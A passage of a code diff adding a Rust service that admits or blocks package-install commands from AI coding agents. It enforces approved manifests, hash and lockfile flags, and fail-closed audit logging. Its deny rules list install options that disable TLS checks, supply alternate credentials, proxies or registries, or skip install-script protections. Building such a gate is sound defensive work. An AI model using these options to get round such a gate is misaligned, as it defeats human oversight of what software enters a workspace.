serde_json::from_slice::(&body) { + Ok(intent) => intent, + Err(_) => return malformed_request_response(&state, &body).await, + }; + + let structural_reasons = validate_install_intent(&intent); + let decision = admission_decision(&state.policy, &intent); + let response_status = if structural_reasons.is_empty() { + StatusCode::OK + } else { + StatusCode::BAD_REQUEST + }; + let record = match build_audit_record(&intent, &decision) { + Ok(record) => record, + Err(_) => return audit_unavailable_response(&decision), + }; + append_before_response(&state, record, decision, response_status).await +} + +async fn body_rejection_response(state: &AdmissionState, rejection: BytesRejection) -> Response { + let rejection_status = rejection.into_response().status(); + let (reason, response_status) = if rejection_status == StatusCode::PAYLOAD_TOO_LARGE { + ( + ReasonCode::RequestBodyTooLarge, + StatusCode::PAYLOAD_TOO_LARGE, + ) + } else { + (ReasonCode::MalformedRequest, StatusCode::BAD_REQUEST) + }; + let decision = unavailable_request_decision(&state.policy, reason); + let record = match build_unavailable_request_audit_record(&state.policy, reason) { + Ok(record) => record, + Err(_) => return audit_unavailable_response(&decision), + }; + append_before_response(state, record, decision, response_status).await +} + +async fn malformed_request_response(state: &AdmissionState, body: &[u8]) -> Response { + let body_digest = sha256_hex(body); + let decision = malformed_decision(&state.policy, &body_digest); + let record = match build_malformed_audit_record(&state.policy, &body_digest) { + Ok(record) => record, + Err(_) => return audit_unavailable_response(&decision), + }; + append_before_response(state, record, decision, StatusCode::BAD_REQUEST).await +} + +async fn append_before_response( + state: &AdmissionState, + record: AuditRecord, + decision: AdmissionDecision, + status: StatusCode, +) -> Response { + let sink = state.audit_sink.clone(); + let append_result = tokio::task::spawn_blocking(move || sink.append(&record)).await; + match append_result { + Ok(Ok(())) => (status, Json(decision)).into_response(), + Ok(Err(_)) | Err(_) => audit_unavailable_response(&decision), + } +} + +fn malformed_decision(policy: &AdmissionPolicy, body_digest: &str) -> AdmissionDecision { + AdmissionDecision { + request_id: format!("malformed:{body_digest}"), + decision: DecisionKind::Block, + reason_codes: vec![ReasonCode::MalformedRequest], + policy_id: policy.policy_id.clone(), + policy_revision: policy.policy_revision.clone(), + normalized_source_uri: None, + command_sha256: body_digest.to_string(), + artifact_count: 0, + } +} + +fn unavailable_request_decision(policy: &AdmissionPolicy, reason: ReasonCode) -> AdmissionDecision { + let reason_name = reason.as_str(); + AdmissionDecision { + request_id: format!("unavailable:{reason_name}"), + decision: DecisionKind::Block, + reason_codes: vec![reason], + policy_id: policy.policy_id.clone(), + policy_revision: policy.policy_revision.clone(), + normalized_source_uri: None, + command_sha256: sha256_hex(reason_name.as_bytes()), + artifact_count: 0, + } +} + +fn audit_unavailable_response(candidate: &AdmissionDecision) -> Response { + let blocked = AdmissionDecision { + request_id: candidate.request_id.clone(), + decision: DecisionKind::Block, + reason_codes: vec![ReasonCode::AuditUnavailable], + policy_id: candidate.policy_id.clone(), + policy_revision: candidate.policy_revision.clone(), + normalized_source_uri: candidate.normalized_source_uri.clone(), + command_sha256: candidate.command_sha256.clone(), + artifact_count: candidate.artifact_count, + }; + (StatusCode::SERVICE_UNAVAILABLE, Json(blocked)).into_response() +} + +fn unauthorized() -> Response { + ( + StatusCode::UNAUTHORIZED, + Json(ErrorView { + error: "unauthorized", + }), + ) + .into_response() +} + +fn authenticated(headers: &HeaderMap, configured: &str) -> bool { + let mut values = headers.get_all("x-admin-token").iter(); + let Some(value) = values.next() else { + return false; + }; + if values.next().is_some() { + return false; + } + let Ok(presented) = value.to_str() else { + return false; + }; + constant_time_token_equal(presented, configured) +} + +fn constant_time_token_equal(presented: &str, configured: &str) -> bool { + if presented.len() > MAX_ADMIN_TOKEN_BYTES + || configured.len() > MAX_ADMIN_TOKEN_BYTES + || !presented + .as_bytes() + .iter() + .all(|byte| (0x21..=0x7e).contains(byte)) + { + return false; + } + + let mut presented_buffer = [0_u8; TOKEN_COMPARISON_BYTES]; + let mut configured_buffer = [0_u8; TOKEN_COMPARISON_BYTES]; + presented_buffer[..2].copy_from_slice(&(presented.len() as u16).to_be_bytes()); + configured_buffer[..2].copy_from_slice(&(configured.len() as u16).to_be_bytes()); + presented_buffer[2..2 + presented.len()].copy_from_slice(presented.as_bytes()); + configured_buffer[2..2 + configured.len()].copy_from_slice(configured.as_bytes()); + + let mut diff = 0_u8; + for (lhs, rhs) in presented_buffer.iter().zip(configured_buffer.iter()) { + diff |= lhs ^ rhs; + } + diff == 0 +} + +async fn shutdown_signal() { + #[cfg(unix)] + { + let terminate = async { + match tokio::signal::unix::signal(tokio::signal::unix::SignalKind::terminate()) { + Ok(mut signal) => { + let _ = signal.recv().await; + } + Err(_) => pending::<()>().await, + } + }; + tokio::select! { + _ = tokio::signal::ctrl_c() => {} + _ = terminate => {} + } + } + + #[cfg(not(unix))] + { + let _ = tokio::signal::ctrl_c().await; + } +} diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs new file mode 100644 index 00000000..57695029 --- /dev/null +++ b/crates/agent-artifact-admission/src/lib.rs @@ -0,0 +1,357 @@ +//! Fail-closed package-install admission primitives for AI coding agents. + +mod admission; +mod artifact_source_identity; +mod artifact_variant; +mod audit; +mod cargo_install_authority; +mod config; +mod dependency_cardinality; +mod http; +mod oci_transport; +mod policy; +mod pypi_build_directory_retention_authority; +mod pypi_cache_directory_authority; +mod pypi_certificate_store_authority; +mod pypi_client_certificate_authority; +mod pypi_constraint_authority; +mod pypi_dependency_group_authority; +mod pypi_global_option_authority; +mod pypi_hash_mode; +mod pypi_install_mutation_authority; +mod pypi_install_report_authority; +mod pypi_install_root_abbreviation_authority; +mod pypi_keyring_provider_authority; +mod pypi_log_output_authority; +mod pypi_noninteractive_authority; +mod pypi_proxy_authority; +mod pypi_python_interpreter_authority; +mod pypi_registry_authority; +mod pypi_requires_python_authority; +mod pypi_system_package_authority; +mod uv_bytecode_compilation_authority; +mod uv_configuration_authority; +mod uv_index_strategy_authority; +mod uv_link_mode_authority; +mod uv_python_download_safety; + +pub use admission::{ + AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, + DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, +}; +pub use audit::{ + AuditArtifact, AuditError, AuditRecord, AuditSink, FileAuditSink, MemoryAuditSink, + build_audit_record, build_malformed_audit_record, build_unavailable_request_audit_record, +}; +pub use config::{ + AdmissionServiceConfig, CliArgs, ConfigError, CredentialFile, load_admin_token, load_config, + parse_cli_args, validate_service_config, +}; +pub use http::{AdmissionState, ServiceError, build_app, run_cli, run_service}; +pub use policy::{is_sha256_hex, sha256_hex, validate_install_intent}; + +/// Compute a deterministic fail-closed admission decision for one install intent. +pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> AdmissionDecision { + let submitted_intent = intent; + let global_normalized_intent = + pypi_global_option_authority::normalize_reviewed_direct_pip_global_options(intent); + let intent = global_normalized_intent.as_ref().unwrap_or(intent); + let post_command_python_normalized_intent = + pypi_python_interpreter_authority::normalize_reviewed_post_command_pip_python_interpreter_value( + intent, + ); + let intent = post_command_python_normalized_intent + .as_ref() + .unwrap_or(intent); + let certificate_store_normalized_intent = + pypi_certificate_store_authority::normalize_reviewed_pypi_certificate_store_values(intent); + let intent = certificate_store_normalized_intent + .as_ref() + .unwrap_or(intent); + let uv_index_strategy_normalized_intent = + uv_index_strategy_authority::normalize_reviewed_uv_index_strategy_value(intent); + let intent = uv_index_strategy_normalized_intent + .as_ref() + .unwrap_or(intent); + let mut decision = policy::admission_decision(policy, intent); + if artifact_source_identity::requests_unapproved_artifact_source(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } + if artifact_variant::requests_unapproved_artifact_variant(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } + if cargo_install_authority::requests_unapproved_cargo_install_mutation(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } + if dependency_cardinality::misses_exact_dependency_set_guard(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { + decision.reason_codes.push(ReasonCode::MissingSafetyFlag); + } + decision.decision = DecisionKind::Block; + } + if dependency_cardinality::npm_family_dependency_closure_is_unverified(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } + if pypi_build_directory_retention_authority::requests_unapproved_pypi_build_directory_retention( + intent, + ) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { + decision.reason_codes.push(ReasonCode::AlternateInstallRoot); + } + decision.decision = DecisionKind::Block; + } + if pypi_cache_directory_authority::requests_unapproved_pypi_cache_directory_authority(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { + decision.reason_codes.push(ReasonCode::AlternateInstallRoot); + } + decision.decision = DecisionKind::Block; + } + if pypi_certificate_store_authority::requests_unapproved_pypi_certificate_store_abbreviation( + intent, + ) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } + if pypi_client_certificate_authority::requests_unapproved_pypi_client_certificate_authority( + intent, + ) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } + if pypi_constraint_authority::requests_unapproved_pypi_constraint_authority(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } + if pypi_dependency_group_authority::requests_unapproved_pip_dependency_group(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } + if pypi_hash_mode::requests_disabled_hash_requirement(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { + decision.reason_codes.push(ReasonCode::MissingSafetyFlag); + } + decision.decision = DecisionKind::Block; + } + if pypi_install_mutation_authority::requests_unapproved_pypi_install_mutation(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } + if pypi_install_report_authority::requests_unapproved_pypi_report_authority(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { + decision.reason_codes.push(ReasonCode::AlternateInstallRoot); + } + decision.decision = DecisionKind::Block; + } + if pypi_install_root_abbreviation_authority::requests_unapproved_pypi_target_abbreviation( + intent, + ) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { + decision.reason_codes.push(ReasonCode::AlternateInstallRoot); + } + decision.decision = DecisionKind::Block; + } + if pypi_keyring_provider_authority::requests_unapproved_pypi_keyring_provider_authority(intent) + { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } + if pypi_log_output_authority::requests_unapproved_pypi_log_output_authority(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { + decision.reason_codes.push(ReasonCode::AlternateInstallRoot); + } + decision.decision = DecisionKind::Block; + } + if pypi_noninteractive_authority::misses_required_noninteractive_mode(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { + decision.reason_codes.push(ReasonCode::MissingSafetyFlag); + } + decision.decision = DecisionKind::Block; + } + if pypi_proxy_authority::requests_unapproved_pypi_proxy_authority(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } + if pypi_python_interpreter_authority::requests_unapproved_pypi_python_interpreter_authority( + intent, + ) || pypi_python_interpreter_authority::requests_unapproved_uv_python_provider_authority( + intent, + ) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { + decision + .reason_codes + .insert(0, ReasonCode::AlternateInstallRoot); + } + decision.decision = DecisionKind::Block; + } + if pypi_registry_authority::disables_reviewed_registry(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } + if pypi_requires_python_authority::requests_pypi_requires_python_override(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { + decision.reason_codes.push(ReasonCode::MissingSafetyFlag); + } + decision.decision = DecisionKind::Block; + } + if pypi_system_package_authority::requests_pypi_system_package_override(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { + decision.reason_codes.push(ReasonCode::MissingSafetyFlag); + } + decision.decision = DecisionKind::Block; + } + if decision.decision == DecisionKind::Allow + && uv_python_download_safety::misses_required_uv_python_download_guard(intent) + { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { + decision.reason_codes.push(ReasonCode::MissingSafetyFlag); + } + decision.decision = DecisionKind::Block; + } + if uv_link_mode_authority::requests_unapproved_uv_symlink_link_mode(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } + if uv_bytecode_compilation_authority::requests_unapproved_uv_bytecode_compilation(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } + if uv_configuration_authority::requests_unapproved_uv_configuration_authority(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } + if uv_index_strategy_authority::requests_unsafe_uv_index_strategy(submitted_intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } + if oci_transport::requests_unapproved_oci_transport_trust(intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } + decision.command_sha256 = sha256_hex(submitted_intent.argv.join("\u{1f}").as_bytes()); + decision +} diff --git a/crates/agent-artifact-admission/src/main.rs b/crates/agent-artifact-admission/src/main.rs new file mode 100644 index 00000000..c119aa50 --- /dev/null +++ b/crates/agent-artifact-admission/src/main.rs @@ -0,0 +1,15 @@ +use std::process::ExitCode; + +use wardnet_agent_artifact_admission::run_cli; + +#[tokio::main] +async fn main() -> ExitCode { + let arguments: Vec = std::env::args().skip(1).collect(); + match run_cli(&arguments).await { + Ok(()) => ExitCode::SUCCESS, + Err(error) => { + eprintln!("{error}"); + ExitCode::FAILURE + } + } +} diff --git a/crates/agent-artifact-admission/src/oci_transport.rs b/crates/agent-artifact-admission/src/oci_transport.rs new file mode 100644 index 00000000..8a88e0c5 --- /dev/null +++ b/crates/agent-artifact-admission/src/oci_transport.rs @@ -0,0 +1,36 @@ +use crate::InstallIntent; + +/// Return whether a Podman pull asks the caller to replace or disable the +/// registry transport, authentication, or secret-bearing decryption trust +/// represented by reviewed policy. +pub(crate) fn requests_unapproved_oci_transport_trust(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if executable != "podman" { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments.first().is_some_and(|argument| argument == "pull") { + return false; + } + + arguments.iter().skip(1).any(|argument| { + argument == "--cert-dir" + || argument.starts_with("--cert-dir=") + || argument == "--authfile" + || argument.starts_with("--authfile=") + || argument == "--creds" + || argument.starts_with("--creds=") + || argument == "--decryption-key" + || argument.starts_with("--decryption-key=") + || argument + .strip_prefix("--tls-verify=") + .is_some_and(is_false_boolean) + }) +} + +fn is_false_boolean(value: &str) -> bool { + matches!(value.to_ascii_lowercase().as_str(), "0" | "f" | "false") +} diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs new file mode 100644 index 00000000..60261821 --- /dev/null +++ b/crates/agent-artifact-admission/src/policy.rs @@ -0,0 +1,1079 @@ +use std::collections::BTreeSet; + +use crate::pypi_proxy_authority::is_direct_pip_proxy_value_selector; +use crate::{ + AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSourceKind, ReasonCode, +}; +use url::Url; + +const MAX_REQUEST_ID_BYTES: usize = 256; +const MAX_ACTOR_ID_BYTES: usize = 512; +const MAX_WORKSPACE_ID_BYTES: usize = 512; +const MAX_OPERATION_BYTES: usize = 32; +const MAX_ARGV_TOKENS: usize = 128; +const MAX_ARG_BYTES: usize = 4 * 1024; +const MAX_ARGV_BYTES: usize = 64 * 1024; +const MAX_SOURCE_URI_BYTES: usize = 4 * 1024; +const MAX_ARTIFACTS: usize = 64; +const MAX_ECOSYSTEM_BYTES: usize = 64; +const MAX_ARTIFACT_NAME_BYTES: usize = 512; +const MAX_VERSION_BYTES: usize = 256; +const MAX_OWNER_BYTES: usize = 512; +const MAX_ARTIFACT_ARGUMENT_BYTES: usize = 1024; + +/// Compute a deterministic fail-closed admission decision for one install intent. +pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> AdmissionDecision { + let mut reason_codes = validate_install_intent(intent); + + match intent.argv.first() { + Some(executable) + if policy + .allowed_executables + .iter() + .any(|allowed| allowed == executable) => {} + Some(_) => push_reason(&mut reason_codes, ReasonCode::ExecutableNotAllowed), + None => push_reason(&mut reason_codes, ReasonCode::MissingExecutable), + } + + validate_source(intent, &mut reason_codes); + validate_command_path(intent, &mut reason_codes); + validate_safety_flags(intent, &mut reason_codes); + validate_artifact_operands(intent, &mut reason_codes); + + if !policy.approved_manifests.iter().any(|manifest| { + manifest.workspace_id == intent.workspace_id && manifest.sha256 == intent.manifest_sha256 + }) { + push_reason(&mut reason_codes, ReasonCode::ManifestNotApproved); + } + + if intent.artifacts.is_empty() + || intent + .artifacts + .iter() + .any(|artifact| !artifact_is_approved(artifact, intent, policy)) + { + push_reason(&mut reason_codes, ReasonCode::ArtifactNotApproved); + } + + let decision = if reason_codes.is_empty() { + DecisionKind::Allow + } else { + DecisionKind::Block + }; + AdmissionDecision { + request_id: auditable_identifier("request", &intent.request_id, MAX_REQUEST_ID_BYTES), + decision, + reason_codes, + policy_id: policy.policy_id.clone(), + policy_revision: policy.policy_revision.clone(), + normalized_source_uri: normalized_source_uri(intent), + command_sha256: sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + artifact_count: intent.artifacts.len(), + } +} + +/// Validate the bounded structural contract independently of policy membership. +pub fn validate_install_intent(intent: &InstallIntent) -> Vec { + let mut reason_codes = Vec::new(); + + if !valid_text_field(&intent.request_id, MAX_REQUEST_ID_BYTES) + || !valid_text_field(&intent.actor_id, MAX_ACTOR_ID_BYTES) + || !valid_text_field(&intent.workspace_id, MAX_WORKSPACE_ID_BYTES) + || !valid_text_field(&intent.operation, MAX_OPERATION_BYTES) + { + push_reason(&mut reason_codes, ReasonCode::InvalidRequest); + } + + if intent.operation != "install" { + push_reason(&mut reason_codes, ReasonCode::InvalidOperation); + } + + if intent.argv.is_empty() { + push_reason(&mut reason_codes, ReasonCode::MissingExecutable); + } else if intent.argv.len() > MAX_ARGV_TOKENS + || intent + .argv + .iter() + .any(|argument| !valid_text_field(argument, MAX_ARG_BYTES) || argument.contains('\0')) + || intent.argv.iter().map(String::len).sum::() > MAX_ARGV_BYTES + { + push_reason(&mut reason_codes, ReasonCode::InvalidRequest); + } + + if !is_sha256_hex(&intent.manifest_sha256) { + push_reason(&mut reason_codes, ReasonCode::InvalidManifestDigest); + } + + if intent + .source + .uri + .as_deref() + .is_some_and(|uri| uri.len() > MAX_SOURCE_URI_BYTES || uri.chars().any(char::is_control)) + { + push_reason(&mut reason_codes, ReasonCode::InvalidSourceUri); + } + + if intent.artifacts.is_empty() || intent.artifacts.len() > MAX_ARTIFACTS { + push_reason(&mut reason_codes, ReasonCode::InvalidArtifact); + } + + let mut artifact_identities = BTreeSet::new(); + let mut artifact_arguments = BTreeSet::new(); + for artifact in &intent.artifacts { + if !valid_artifact_coordinate(artifact) { + push_reason(&mut reason_codes, ReasonCode::InvalidArtifact); + } + let identity = ( + artifact.ecosystem.as_str(), + artifact.name.as_str(), + artifact.version.as_str(), + artifact.registry_url.as_str(), + artifact.owner.as_str(), + artifact.sha256.as_str(), + ); + if !artifact_identities.insert(identity) + || !artifact_arguments.insert(artifact.artifact_argument.as_str()) + { + push_reason(&mut reason_codes, ReasonCode::DuplicateArtifact); + } + } + + reason_codes +} + +fn validate_source(intent: &InstallIntent, reason_codes: &mut Vec) { + if !requires_remote_source_validation(intent.source.kind) { + return; + } + + match intent.source.uri.as_deref() { + Some(uri) if normalize_https_source_uri(uri).is_some() => {} + Some(_) => push_reason(reason_codes, ReasonCode::InvalidSourceUri), + None => push_reason(reason_codes, ReasonCode::MissingSourceUri), + } + + if !intent + .source + .content_sha256 + .as_deref() + .is_some_and(is_sha256_hex) + { + push_reason(reason_codes, ReasonCode::MissingSourceDigest); + } +} + +fn validate_command_path(intent: &InstallIntent, reason_codes: &mut Vec) { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return; + }; + let arguments = &intent.argv[1..]; + if arguments.iter().any(|argument| argument == "--") + || is_permanently_forbidden_executable(executable) + || requests_inline_eval(executable, arguments) + || !supported_install_command(executable, arguments) + { + push_reason(reason_codes, ReasonCode::ForbiddenCommand); + } + if requests_alternate_trust_root(executable, arguments) { + push_reason(reason_codes, ReasonCode::AlternateTrustRoot); + } + if requests_alternate_install_root(executable, arguments) { + push_reason(reason_codes, ReasonCode::AlternateInstallRoot); + } +} + +fn validate_safety_flags(intent: &InstallIntent, reason_codes: &mut Vec) { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return; + }; + let arguments = &intent.argv[1..]; + let missing = match executable { + "npm" | "yarn" => !has_unambiguous_boolean_safety_flag(arguments, "--ignore-scripts"), + "bun" => { + !has_unambiguous_boolean_safety_flag(arguments, "--ignore-scripts") + || arguments + .iter() + .any(|argument| matches_cli_flag(argument, "--no-verify")) + } + "pnpm" => { + !has_unambiguous_boolean_safety_flag(arguments, "--ignore-scripts") + || !has_unambiguous_boolean_safety_flag(arguments, "--ignore-pnpmfile") + } + "pip" | "pip3" => !arguments + .iter() + .any(|argument| argument == "--require-hashes"), + "cargo" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { + !arguments.iter().any(|argument| argument == "--locked") + } + "uv" => match uv_active_command_index(arguments) { + Some(pip_index) + if arguments.get(pip_index).map(String::as_str) == Some("pip") + && arguments.get(pip_index + 1).map(String::as_str) == Some("install") => + { + !arguments[pip_index + 2..] + .iter() + .any(|argument| argument == "--require-hashes") + } + _ => false, + }, + "docker" | "podman" if arguments.first().is_some_and(|argument| argument == "pull") => { + intent.artifacts.is_empty() + || intent.artifacts.iter().any(|artifact| { + artifact.artifact_argument + != format!("{}@sha256:{}", artifact.name, artifact.sha256) + || intent + .argv + .iter() + .filter(|token| *token == &artifact.artifact_argument) + .count() + != 1 + }) + } + _ => false, + }; + if missing { + push_reason(reason_codes, ReasonCode::MissingSafetyFlag); + } +} + +fn validate_artifact_operands(intent: &InstallIntent, reason_codes: &mut Vec) { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return; + }; + let arguments = &intent.argv[1..]; + let command_prefix_len = match executable { + "uv" => match uv_active_command_index(arguments) { + Some(pip_index) + if arguments.get(pip_index).map(String::as_str) == Some("pip") + && arguments.get(pip_index + 1).map(String::as_str) == Some("install") => + { + pip_index + 2 + } + _ => return, + }, + "npm" | "pnpm" | "yarn" | "bun" | "pip" | "pip3" | "cargo" | "docker" | "podman" => 1, + _ => return, + }; + + let declared_arguments: BTreeSet<&str> = intent + .artifacts + .iter() + .map(|artifact| artifact.artifact_argument.as_str()) + .collect(); + let positional_arguments: Vec<&str> = arguments + .iter() + .enumerate() + .skip(command_prefix_len) + .filter(|(index, argument)| { + !argument.starts_with('-') + && !is_install_root_selector_value(executable, arguments, *index) + && !is_direct_pip_proxy_selector_value(executable, arguments, *index) + }) + .map(|(_, argument)| argument.as_str()) + .collect(); + + if intent + .artifacts + .iter() + .any(|artifact| !artifact_ecosystem_matches_executable(executable, &artifact.ecosystem)) + || requests_indirect_artifact_source(executable, arguments) + || requests_unapproved_cargo_build_variant(executable, arguments) + || positional_arguments.len() != declared_arguments.len() + || positional_arguments + .iter() + .any(|argument| !declared_arguments.contains(argument)) + { + push_reason(reason_codes, ReasonCode::ArtifactNotApproved); + } +} + +/// Return whether `arguments[index]` is the separate-token value consumed by a +/// reviewed direct-pip proxy selector. Proxy routing remains a denied authority; +/// this helper only prevents the consumed value from masquerading as a package. +fn is_direct_pip_proxy_selector_value( + executable: &str, + arguments: &[String], + index: usize, +) -> bool { + if !matches!(executable, "pip" | "pip3") + || !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + let Some(previous) = index + .checked_sub(1) + .and_then(|previous| arguments.get(previous)) + .map(String::as_str) + else { + return false; + }; + + is_direct_pip_proxy_value_selector(previous) +} + +/// Return whether `arguments[index]` is the separate-token value consumed by a +/// recognized install-root selector for the active supported install grammar. +/// Attached values remain option tokens and are already excluded by the +/// positional-operand filter. +fn is_install_root_selector_value(executable: &str, arguments: &[String], index: usize) -> bool { + let Some(previous) = index + .checked_sub(1) + .and_then(|previous| arguments.get(previous)) + .map(String::as_str) + else { + return false; + }; + + let value_flags: &[&str] = match executable { + "npm" + if arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "install" | "i")) => + { + &["--prefix", "--workspace", "-w", "--location"] + } + "pnpm" + if arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "add" | "install")) => + { + &[ + "--prefix", + "--dir", + "-C", + "--filter", + "-F", + "--filter-prod", + "--location", + ] + } + "yarn" if arguments.first().is_some_and(|argument| argument == "add") => { + &["--prefix", "--location"] + } + "bun" + if arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "add" | "install")) => + { + &["--prefix", "--cwd", "--filter", "-F", "--location"] + } + "pip" | "pip3" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { + &["--target", "-t", "--root", "--prefix"] + } + "uv" if uv_active_command_index(arguments).is_some_and(|pip_index| { + arguments.get(pip_index).map(String::as_str) == Some("pip") + && arguments.get(pip_index + 1).map(String::as_str) == Some("install") + }) => + { + &["--target", "-t", "--root", "--prefix", "--python", "-p"] + } + "cargo" + if arguments + .first() + .is_some_and(|argument| argument == "install") => + { + &["--root", "--config", "--target-dir"] + } + _ => return false, + }; + + value_flags.contains(&previous) +} + +fn artifact_ecosystem_matches_executable(executable: &str, ecosystem: &str) -> bool { + match executable { + "npm" | "pnpm" | "yarn" | "bun" => ecosystem == "npm", + "pip" | "pip3" | "uv" => ecosystem == "pypi", + "cargo" => ecosystem == "cargo", + "docker" | "podman" => ecosystem == "oci", + _ => false, + } +} + +fn requests_indirect_artifact_source(executable: &str, arguments: &[String]) -> bool { + let contains_flag = |arguments: &[String], flags: &[&str]| { + arguments + .iter() + .any(|argument| flags.iter().any(|flag| matches_cli_flag(argument, flag))) + }; + + match executable { + "pip" | "pip3" => contains_flag( + arguments, + &[ + "-r", + "--requirement", + "-e", + "--editable", + "--requirements-from-script", + ], + ), + "uv" => { + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments.get(pip_index).map(String::as_str) != Some("pip") + || arguments.get(pip_index + 1).map(String::as_str) != Some("install") + { + return false; + } + contains_flag( + &arguments[pip_index + 2..], + &[ + "-r", + "--requirement", + "--requirements", + "-e", + "--editable", + "--group", + "--project", + ], + ) + } + _ => false, + } +} + +fn requests_unapproved_cargo_build_variant(executable: &str, arguments: &[String]) -> bool { + if executable != "cargo" { + return false; + } + + const BUILD_VARIANT_FLAGS: &[&str] = &[ + "-F", + "--features", + "--all-features", + "--no-default-features", + "--bin", + "--bins", + "--example", + "--examples", + "--target", + "--debug", + "--profile", + ]; + + arguments.iter().any(|argument| { + BUILD_VARIANT_FLAGS + .iter() + .any(|flag| matches_cli_flag(argument, flag)) + }) +} + +fn has_unambiguous_boolean_safety_flag(arguments: &[String], flag: &str) -> bool { + let Some(flag_name) = flag.strip_prefix("--") else { + return false; + }; + let negated = format!("--no-{flag_name}"); + let assigned = format!("{flag}="); + + arguments.iter().any(|argument| argument == flag) + && !arguments + .iter() + .any(|argument| argument == &negated || argument.starts_with(&assigned)) +} + +fn artifact_is_approved( + artifact: &ArtifactCoordinate, + intent: &InstallIntent, + policy: &AdmissionPolicy, +) -> bool { + if intent + .argv + .iter() + .filter(|token| *token == &artifact.artifact_argument) + .count() + != 1 + { + return false; + } + policy.approved_artifacts.iter().any(|approved| { + exact_artifact_match(approved, artifact) + && approved.artifact_argument == artifact.artifact_argument + }) +} + +fn requires_remote_source_validation(kind: InstructionSourceKind) -> bool { + matches!( + kind, + InstructionSourceKind::LlmsTxt + | InstructionSourceKind::LlmsFullTxt + | InstructionSourceKind::WebPage + | 